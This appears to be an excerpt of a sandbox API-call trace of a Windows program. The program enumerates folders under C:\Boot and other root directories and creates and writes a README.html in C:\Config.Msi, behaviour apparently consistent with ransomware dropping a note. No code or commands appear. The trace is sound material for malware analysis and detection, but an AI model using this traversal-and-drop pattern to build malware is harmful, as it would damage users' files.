	[0050.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.206] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.206] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.206] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9e58 | out: lpFileInformation=0x126f9e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0050.207] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x126f9ea8 | out: lpFileInformation=0x126f9ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.207] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.207] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.207] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.207] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.207] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.207] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.207] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9f48 | out: lpFileInformation=0x126f9f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1
	[0050.210] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x126f9f98 | out: lpFileInformation=0x126f9f98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.211] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.211] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.211] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.211] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.211] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.211] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.211] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1270e058 | out: lpFileInformation=0x1270e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1
	[0050.211] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x1270e0a8 | out: lpFileInformation=0x1270e0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.212] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.212] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.212] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.212] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.212] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.212] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.212] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1270e148 | out: lpFileInformation=0x1270e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1
	[0050.213] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x1270e198 | out: lpFileInformation=0x1270e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.213] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.213] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.213] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.213] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.213] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.213] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.213] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1270e238 | out: lpFileInformation=0x1270e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1
	[0050.214] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x1270e288 | out: lpFileInformation=0x1270e288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.214] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.214] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.214] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.214] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.214] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.214] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.214] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1270e328 | out: lpFileInformation=0x1270e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1
	[0050.214] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270e378 | out: lpFileInformation=0x1270e378*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.215] CreateFileW (lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.215] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x123eda44 | out: lpFindFileData=0x123eda44*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.215] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.215] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.215] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.215] CreateFileW (lpFileName="C:\\Config.Msi\\README.html" (normalized: "c:\\config.msi\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0050.215] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123ece5c | out: lpMode=0x123ece5c) returned 0
	[0050.216] WriteFile (in: hFile=0xc0, lpBuffer=0x126f3200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x123ece4c, lpOverlapped=0x0 | out: lpBuffer=0x126f3200*, lpNumberOfBytesWritten=0x123ece4c*=0xc5a, lpOverlapped=0x0) returned 1
	[0050.217] CloseHandle (hObject=0xc0) returned 1
	[0050.217] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12694d70*, nNumberOfCharsToWrite=0x28, lpNumberOfCharsWritten=0x123ec9dc, lpReserved=0x0 | out: lpBuffer=0x12694d70*, lpNumberOfCharsWritten=0x123ec9dc*=0x28) returned 1
	[0050.218] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x1270e3c8 | out: lpFileInformation=0x1270e3c8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.218] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x1270e418 | out: lpFileInformation=0x1270e418*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.219] CreateFileW (lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.219] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x123eda44 | out: lpFindFileData=0x123eda44*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
